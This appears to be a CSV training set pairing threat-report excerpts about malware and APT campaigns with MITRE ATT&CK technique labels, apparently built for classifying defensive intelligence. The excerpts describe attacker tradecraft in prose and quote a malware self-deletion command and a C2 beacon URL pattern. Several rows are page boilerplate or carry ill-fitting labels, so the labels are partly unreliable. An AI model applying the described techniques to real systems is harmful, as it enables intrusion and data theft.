"Talos has identified two different infection vectors associated with this particular campaign. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine. The stager will be described in more detail in the next section",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections",['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
The malware then allows the user to open the file as normal without any indication to the user that anything has occurred,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
These keystrokes would run PowerShell commands that downloaded and installed various malware strains that acted as backdoors for the attackers into the victims’ networks,['T1091 - Replication Through Removable Media'],fine_tune
"SlideShare uses cookies to improve functionality and performance, and to provide you with relevant advertising. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. Details a massive intrusion by Russian APT29 (AKA CozyDuke, Cozy Bear) . Every IR presents unique challenges. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it’s built-in. DERBYCON 2016 #NOEASYBREACH Matt Dunwoody @matthewdunwoody Nick Carr @itsreallynick 22 likes . Views . You have now unlocked unlimited access to 20M+ documents. Unlimited Reading . Learn faster and smarter from top experts . Unlimited Downloading . Download to take your learnings offline and on the go . You also get free access to Scribd. Instant access to millions of ebooks, audiobooks, magazines, podcasts and more. Free access to premium services like Tuneln, Mubi and more. Enjoy access to millions of ebooks, audiobooks, magazines, and more from Scribd",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
In the course of our research we uncovered the activity of a hacking group which has Chinese origins. This group was named “Winnti,['T1083 - File and Directory Discovery'],fine_tune
"Pass Logger -&gt; a credential stealer, used for stealing credentials stored in the Chrome, Firefox and Opera browsers",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Note: the NTRUEncrypt public key cryptosystem encryption algorithm (NTRU), is a lattice-based alternative to Rivest-Shamir-Adleman, known as RSA, and Elliptic-curve cryptography, or ECC, and is based on the shortest vector problem in a lattice",['T1486 - Data Encrypted for Impact'],fine_tune
"On June 28, 2020, our Threat Fusion team identified a new file being downloaded by the Aisino Intelligent Tax product. Rather, this new sample’s sole mission is to delete GoldenSpy and remove any trace it existed. Including the deletion of registry entries, all files and folders (including the GoldenSpy log file), and finally, the uninstaller deletes itself with the following command: cmd.exe /c del /q C:\Users\admin\AppData\Local\Temp\AWX.exe. Note the “/c” which will terminate the Windows Command-line interface after the operation is completed and “/d” which will delete without asking permission or giving any notification",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
A malware variant named Mal/Miner-C (also known as PhotoMiner) is infecting Internet-exposed Seagate Central Network Attached Storage (NAS) devices and using them to infect connected computers to mine for the Monero cryptocurrency,['T1080 - Taint Shared Content'],fine_tune
The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2,['T1049 - System Network Connections Discovery'],fine_tune
"PsExec is then used to launch PowerShell which uses the win32_service WMI class to retrieve services and the net stop command to stop these services. After Windows Defender is disabled and services have been stopped across the organization, PsExec is used to launch the WastedLocker ransomware itself, which then begins encrypting data and deleting shadow volumes","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1489 - Service Stop', 'T1007 - System Service Discovery']",fine_tune
The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Ryuk attempts to encrypt all mounted drives and hosts that have Address Resolution Protocol (ARP) entries (IP addresses) and it enumerates all mounted drives by calling GetLogicalDrives. For each mounted drive, Ryuk calls GetDriveTypeW to determine the drive’s type. To retrieve IP addresses that have ARP entries, Ryuk calls GetIpNetTable. It iterates through all entries and then tries to enumerate files and folders on the remote host and encrypt the files",['T1057 - Process Discovery'],fine_tune
"With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there's no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
The macros are different. In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. It also does not use FTP for exfiltration,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"When the attackers need to send a file or command to the victim machine, they place them to the folder named d in the victim’s Dropbox folder. The malware retrieves this folder and downloads all its contents to the working folder","['T1074.001 - Data Staged: Local Data Staging', 'T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage']",fine_tune
A Python script was created for the purpose of automating this configuration file decoding process. The output of this script when run against the configuration file used by the first of the two Parliamentarian operation samples yielded the following data,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Conficker will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"This time, the text is from the novel ""The Brothers Karamazov"" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. Secondly, the author split the malware in a couple of different files. For example, the variables are stored in a ""Constant.py"" file containing the C2 server and the configuration. The most notable change is the protocol used to download and upload files",['T1105 - Ingress Tool Transfer'],fine_tune
"Next, the loader fingerprints the Windows architecture. This is a crucial step because the loader needs to know what version of the backdoor to download (32-bit or 64-bit). Once the Windows architecture has been identified, the loader carries out the download",['T1197 - BITS Jobs'],fine_tune
"Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 - Same author appeared in these recent malicious documents that also appeared back in Lazarus 2017 campaigns - Uses the same malicious document structure and similar job recruitment ads as what we observed in past Lazarus campaigns - The techniques, tactics and procedures align with Lazarus group’s interest in crypto currency theft",['T1001.003 - Protocol or Service Impersonation'],fine_tune
"Check the email sender, subject, and body for anything suspicious before downloading and opening email attachments. Check the file extension of the attached file and make sure it is the intended file format. Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything. Subtle changes to a popular URL can be one indicator of malicious content",['T1204.002 - User Execution: Malicious File'],fine_tune
1) Checks if the user has Administrator privilege 2) Drops the Cobalt Strike Stager in debug or “%TEMP%” directory as “tmp_FlVnNI.dat” depending on the user privilege 3) Opens the decoy Word document 4) Locates the InstallUtil.exe and its installed version 5) Copies “schtasks.exe” to “%TEMP%” directory and renames it to “wtask.exe” 6) Creates Scheduled tasks with the name “Security Script kb00855787” 7) Renames “wscript.exe” into “winwsh.exe” 8) Runs the scheduled task to execute the Cobalt Strike Stager 9) C2 communication,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The information that the malware gets from the victim machine can be the user name, the machine name, the domain where the machine belongs or, if not, the workgroup, the product name (operating system name), etc","['T1082 - System Information Discovery', 'T1082 - System Information Discovery']",fine_tune
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are","['T1105 - Ingress Tool Transfer', 'T1030 - Data Transfer Size Limits']",fine_tune
"Update the RAT and Keylogger remotely - Set an autostart JavaScript to run on RAT startup - A Domain Generation Algorithm (DGA) for C2 resiliency - If the user has admin permissions, it deletes shadow copies using vssadmin.exe",['T1568.002 - Domain Generation Algorithms'],fine_tune
"The wiper is relatively small in size and dynamically resolves most of the APIs it uses. Before starting any file destruction, it checks to ensure that the machine is not a domain controller. If the machine is a domain controller, it stops execution. Pseudo-code: CaddyWiper checking for the Domain Controller role of the machine. If the system is not a domain controller, the wiper will destroy files on ""C:\Users,"" followed by wiping of all files in the next drive letter until it reaches the ""Z"" drive. This means that the wiper will also attempt to wipe any network mapped drive attached to the system",['T1082 - System Information Discovery'],fine_tune
"While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com for its C2. We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. QUADAGENT Analysis The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. If that HTTPS request is not successful, the downloader will issue an HTTP request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. The downloader will use the filename of the script (ex",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"As soon as the user enabled the macro, a robust Visual Basic Application (VBA) script began to execute. First, it would query Windows Management Instrumentation (WMI) to check if any of the following applications were running",['T1047 - Windows Management Instrumentation'],fine_tune
"Note that .hwp is the extension used by Hangul Word Processor from Hangul Office, which is very popular in South Korea",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"We believe that the source of all these stolen certificates could be the same Winnti group. Either this group has close contacts with other Chinese hacker gangs, or it sells the certificates on the black market in China",['T1553.002 - Code Signing'],fine_tune
"Summary . The following knowledgebase will explain the uses of Net commands in Windows Operating Systems. More information . Net Commands On Windows Operating Systems . The following Net Commands can be used to perform operations on Groups, users, account policies, shares, and so on. NET . The ""Net Accounts"" command is used to set the policy settings on local computer, such as Account policies and password policies. This command can't be used on domain controller. When you type Net Accounts, you will see the default settings of the Account Lockout policy and Password Policy in local computer show as: The above settings displayed as per the role of the computer. Community Solutions Content Disclaimer . Microsoft corporation and/or its respective suppliers make no representations about the suitability, reliability, or accuracy of the information and related graphics contained herein. User Account Control and remote restrictions - Windows Server Describes User Account Control (UAC) and remote restrictions in Windows Vista. auditpol get Reference article for the auditpol get command, which retrieves the system policy, per-user policy, auditing options, and audit security descriptor object. wevtutil Reference article for wevtutil, which lets you retrieve information about event logs and publishers. Manage cookies - Previous Version Docs - Blog - Contribute - Privacy &amp; Cookies - Terms of Use - Trademarks - © Microsoft 2022 - Summary - More information - - - - Manage cookies - Previous Version Docs - Blog - Contribute - Privacy &amp; Cookies - Terms of Use - Trademarks - © Microsoft 2022",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"In this blog, we described how Redaman has become more effective by hiding dynamic C&amp;C server addresses inside the Bitcoin blockchain",['T1102.001 - Dead Drop Resolver'],fine_tune
"As part of our investigation, we monitored exactly what the cybercriminals did on an infected PC. In particular, they they downloaded an auxiliary program ff._exe to the Config.Msi folder on the infected machine",['T1105 - Ingress Tool Transfer'],fine_tune
"Looking at the binaries for SUNBURST and TEARDROP, we’ve learned that even this wildly successful operation had its rough edges. Far from a worry-free power trip, the attackers were wary all the while of having their activity seen at all, never mind recognized for what it was; extensive blacklists of domains and processes had to be created to make sure of that",['T1027 - Obfuscated Files or Information'],fine_tune
Email* - - * I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above,['T1204.001 - Malicious Link'],fine_tune
"This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. When opening the document, the user must click on the ""Enable content"" button, which enables macros (fig. 5 Example of an email message with a Word document, which, when opened, requires the user to click on the ""Enable content"" button to enable a malicious macro. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. In addition, Cobalt Strike enables users not to expose a fragment of memory allocated in the context of another process, the RWX (Read, Write, Execute) attributes, which often reveal injected code",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"The Zip archive is encrypted with an unknown password, but we know it contains two files named joboffer.chm and thumb.db. The joboffer.chm file is a compiled HTML file that we believe loads and executes the ‘thumb.db’ file as a payload, but we cannot be absolutely sure as we do not have the password required to extract the files from the archive",['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
"Recently, after looking at the difference between 0vercl0ck’s proof of concept and the real deal, a friend asked me “Why does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. By opening “Shell_TrayWnd” and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. The read part won’t trigger DEP (Data Execution Prevention), if the section is not executable (in later versions of windows it is execute-protected), however if EAX points to an address inside the section, DEP will be triggered. Well how does one get from KiUserApcDispatcher to code execution, without executing the non-executable shellcode, I hear you ask. Next it pops the return address into the EAX and then calls it, this results in execution being transferred back to the Window Procedure. The sequences are instruction within the executable regions of explorer’s memory, their purpose is to perform certain operations as PowerLoader can’t execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction “STD” followed by “RET”, As a result the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Well these bytes were found, in this case inside some random shell32 function (it doesn’t matter). Now the pointer doesn’t point to the start of the function, it points somewhere in the middle, as a result, only the bytes in the red box are executed. Remember: because all addresses points to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors",['T1055.011 - Process Injection: Extra Window Memory Injection'],fine_tune
Then calls the fcL4qOb4 function to set the scheduled task and disguise as the one used by Google,"['T1036.004 - Masquerading: Masquerade Task or Service', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"This module has been described before in the article here. The first instructions in the main function hide the console window from the user. Afterward, the module will delete old ""sft"" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Once in the folder, this property list (plist) file will launch the CrashReporter program with the Maintain parameter on system load as Root for every user. Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches CrashReporter with the Maintain parameter and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004",['T1569.001 - System Services: Launchctl'],fine_tune
"Researchers also observed that the backdoor downloads and executes the Cobalt Strike pentesting and post-exploitation toolkit on the victim's machine within some period of time after the infection. By deploying Cobalt Strike, it is clear that this stealthy backdoor is being used to gain a foothold in corporate networks so that ransomware can be deployed, data can be stolen, or network access could be sold to other threat actors",['T1105 - Ingress Tool Transfer'],fine_tune
Stop the running xmlprov service - Copy dropped xmlprov.dll and xmlrov.ini into the system32 directory and delete them from the current directory - Check if xmlProv service is installed or not and if it is not installed create the service through svchost.exe - Modify the xmlProv service values including type and binpath - Add xmlProv to the list of the services to be loaded by svchost - add xmlProv to the xmlProv registry key - Start the xmlProv service,['T1112 - Modify Registry'],fine_tune
"We found malicious code injected into a JavaScript library provided by Volusion to their client shops. The injected code loaded another JavaScript stored on a Google Storage service. The loaded script is almost a direct copy of a normal JavaScript library but has a credit card skimmer carefully integrated. When customers submit their payment information, the skimmer will copy and send the personal information and credit card details to an exfiltration server belonging to the attackers",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors' preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also used different types of encryption in order to protect data in transit",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. It writes the command results in another OneDrive subfolder and encrypts it with the XOR key 0xAA",['T1027 - Obfuscated Files or Information'],fine_tune
"As part of this research, I reached out to Benjamin Delpy, author of Mimkatz, and requested he add “SID History” to Mimikatz forged Kerberos tickets. The June 28th version of Mimikatz now includes the capability to include arbitrary SIDs in SID History on forged tickets. When a user is authenticated, the SIDs of every security group the user is a member of is added to the user’s Kerberos ticket, as well as any SIDs in the user’s SID History. Golden Tickets . Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets. In other words, in a mult-domain AD forest, if the domain the Golden Ticket was created in doesn’t contain the Enterprise Admins group, the Golden Ticket won’t provide admin rights to other domains in the forest. The standard Golden Ticket is limited to the child domain it was created in, so now we add SID History to the equation… . Golden Ticket + SID History = WINNING. Things get more interesting once Mimikatz supports SID History in Golden Tickets (and Silver Tickets) since any group in the AD Forest can be included and used for authorization decisions. In order to support my research into how to expand access using SID History in Kerberos tickets across trusts (both intra-forest and external), I reached out to Benjamin Delpy in late June and requested SID History be added. Using the latest version of Mimikatz, we can now add SID History to the Golden Ticket for the Forest Enterprise Admins group. In summary, Golden Tickets can now be used to compromise any domain in the AD Forest once a single one is compromised",['T1134.005 - Access Token Manipulation: SID-History Injection'],fine_tune
"In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan. The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool",['T1204.001 - Malicious Link'],fine_tune
"Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory","['T1074.001 - Data Staged: Local Data Staging', 'T1560.003 - Archive via Custom Method']",fine_tune
"The ScreenUtil module, which was first reported in 2017, takes a screenshot of the current user's desktop. All variants analyzed by CTU researchers were hard-coded to drop the captured image files to %APPDATA%\Update\Tmp",['T1113 - Screen Capture'],fine_tune
"If the ‘-p’ parameter has been passed into the command line, the loader proceeds to download the Team9 backdoor directly from the command and control server. One notable addition is the process injection (hollow process injection) when the backdoor has been successfully downloaded and decrypted. The loader injects the backdoor to one of the following processes","['T1055.012 - Process Injection: Process Hollowing', 'T1055.013 - Process Doppelgänging']",fine_tune
Log keystrokes and the titles of open windows - Gather clipboard data and system information - Steal printer information and any documents that were sent to be printed - Record audio - Capture screenshots and webcam photos,['T1120 - Peripheral Device Discovery'],fine_tune
The UprotectData() method treats the first two bytes of the Base64 decoded value as a two-byte XOR key,"['T1573.001 - Symmetric Cryptography', 'T1560.003 - Archive via Custom Method']",fine_tune
"We had previously observed this same IP scanning for TCP port 7001 throughout May 2018. This was potentially a scan for Oracle WebLogic servers, which listens on TCP port 7001 by default. In both our samples, as well as the ones that Morpheus Labs described, the hard-coded password was not only identical, but also located at the same offset",['T1046 - Network Service Discovery'],fine_tune
"The server uses folders in the current directory to store information sent and received from WellMess backdoors and the folder layout is shown in Figure 2. Additionally, the server uses a private key and certificate located in the current working directory during mutual TLS connections",['T1573.002 - Asymmetric Cryptography'],fine_tune
"An uptick in activity from GRIM SPIDER, a subgroup of the criminal enterprise CrowdStrike Intelligence tracks as WIZARD SPIDER, has led to the identification of consistent actions employed to carry out their attacks. As part of their initial compromise — usually as a download from a spam email — they gain a foothold with their modular TrickBot malware, which was developed and is principally operated by WIZARD SPIDER. Once TrickBot is executed, new enumeration modules are downloaded onto the compromised machine to facilitate WIZARD SPIDER’s spread in search of credentials with the aim of gaining access to the domain controller. The criminal actors use RDP to perform lateral movement and explore the victim environment, with an end result of gaining access to the domain controller. Once this access has been achieved, GRIM SPIDER is able to deploy the Ryuk ransomware to the entire network. These observations come from system log data, CrowdStrike Falcon® sensor telemetry, and the output of the Falcon Forensic Collector (a customized version of CrowdStrike’s freely distributed community tool, CrowdResponse",['T1570 - Lateral Tool Transfer'],fine_tune
"As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name. They then identify the Exchange server and attempt to install the OwaAuth web shell. If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells. Within six hours of entering the environment, the threat actors compromised multiple systems and stole credentials for the entire domain","['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
"Displays and modifies entries in the Address Resolution Protocol (ARP) cache, which contains one or more tables that are used to store IP addresses and their resolved Ethernet or Token Ring physical addresses. Used without parameters, arp displays help",['T1018 - Remote System Discovery'],fine_tune
"We found that a domain admin account was compromised and the Active Directory audit tool PingCastle was run. Using the domain admin, the actor was able to compromise several other accounts and execute malicious services and persistence mechanisms, namely SDBbot RAT Loaders",['T1078.002 - Domain Accounts'],fine_tune
"KillDisk is designed to run with high privileges, this time it registers itself as a service under Plug-And-Play Support name",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Static Kitten is distributing at least two URLs that deliver two different ZIP files that are themed to be relevant to government agency employees. The URLs are distributed through phishing emails with lure and decoy documents. An example lure is shown in Figure 2 below,['T1204.001 - Malicious Link'],fine_tune
The attackers also used a malicious tool that they named BCS-server. This tool allows them to open a tunnel into an internal network and then this tunnel can be used to send and receive data between the C&amp;C server and even non-infected computers in the network. The main idea of this tool is based on the same principles as the XTUNNEL malware used by the Sednit group,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&amp;C server via an embedded iframe",['T1204.001 - Malicious Link'],fine_tune
"The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step",['T1083 - File and Directory Discovery'],fine_tune
Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&amp;C servers,['T1560 - Archive Collected Data'],fine_tune
"HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP. The C2 server is obtained from the decrypted config file, as shown in Figure 5",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"PowerStallion is a lightweight PowerShell backdoor using Microsoft OneDrive, a storage service in the cloud, as C&amp;C server",['T1102.002 - Bidirectional Communication'],fine_tune
"26, 2018) used a macro-based document that dropped a VBS file and an INI file. The INI file contains the Base64 encoded PowerShell command, which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"For alerts raised either by specific threat intelligence tied to activity groups or by more generic suspicious behaviors, Windows Defender ATP provides rich, visualized technical context. In the screenshots below, Windows Defender ATP clearly presents the Winnti installation where an installer drops a DLL to disk (Figure 5), loads the DLL using rundll32 (Figure 6), sets the DLL as a service (Figure 7), and saves a copy of itself in C:\Windows\Help (Figure 8",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
It continues to perform a number of checks for installed security products on the victim machine. The following security platforms are queried by checking entries within the HKLM\Software\ registry path,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package,['T1583.006 - Web Services'],fine_tune
"Emails dating more than three years prior to malware execution have been included in the collected EmailStorage folder, meaning that there may not be a date limit for the email enumerator. There is a lack of keywords or other limiting pattern by which specific email messages in local mailboxes were targeted for exfiltration. Kroll has identified instances where specific email messages were deleted within the EmailStorage folder. In some instances, the entire EmailStorage folder is deleted once messages have all been exfiltrated. Based on observed cases, there was no evidence that attachments were included in the collected data. Kroll collaborators at the National Cyber Forensics Training Alliance (NCFTA) observed Qakbot samples sending SMTP traffic indicative of outbound spam thread hijackings",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"The experience of dealing with Emotet shows that it will be time well spent. We always recommend that clients adopt a policy that forces users to create passwords that they can remember, but that are hard to guess",['T1110.001 - Brute Force: Password Guessing'],fine_tune
"In the past we have seen others techniques that used Bitcoin blockchain to hide their C&amp;C server IP address, but in this blog we will share an analysis of the new technique",['T1568 - Dynamic Resolution'],fine_tune
"When run, GoldMax decodes (Base64) and decrypts (AES-256) the configuration data to reveal a custom data structure comprised of the following dynamically generated and hardcoded values (delimited by",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The first stage logic is performed by ‘mklgsecondary’ which serves the purpose of downloading a file named ‘chrome.txt’ from a C2 server using the BITS utility. The downloader modifies the Chrome shortcut using the same method previously described for the Telegram variant. The downloaded PE file (‘chrome.txt’/’mklgchrome’) gets executed each time the user starts Chrome, thereby running the real Chrome application as well as executing the MarkiRAT payload","['T1197 - BITS Jobs', 'T1105 - Ingress Tool Transfer']",fine_tune
"In the implementation of Flagpro v1.0, if a dialog titled “Windows セキュリティ” is displayed when Flagpro accesses to an external site, Flagpro automatically clicks OK button to close the dialog. This handling also works when the dialog is written Chinese and English. It can indicate the targets are Japan, Taiwan, and English-speaking countries. Flagpro v2.0 checks whether both username and password are filled in a dialog as an additional feature before clicking the OK button",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Zirconium is using what are referred to as web bugs, or web beacons, tied to a domain they purchased and populated with content. Although the domain itself may not have malicious content, the web bug allows Zirconium to check if a user attempted to access the site",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32’s infrastructure and injected it into memory. The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32']",fine_tune
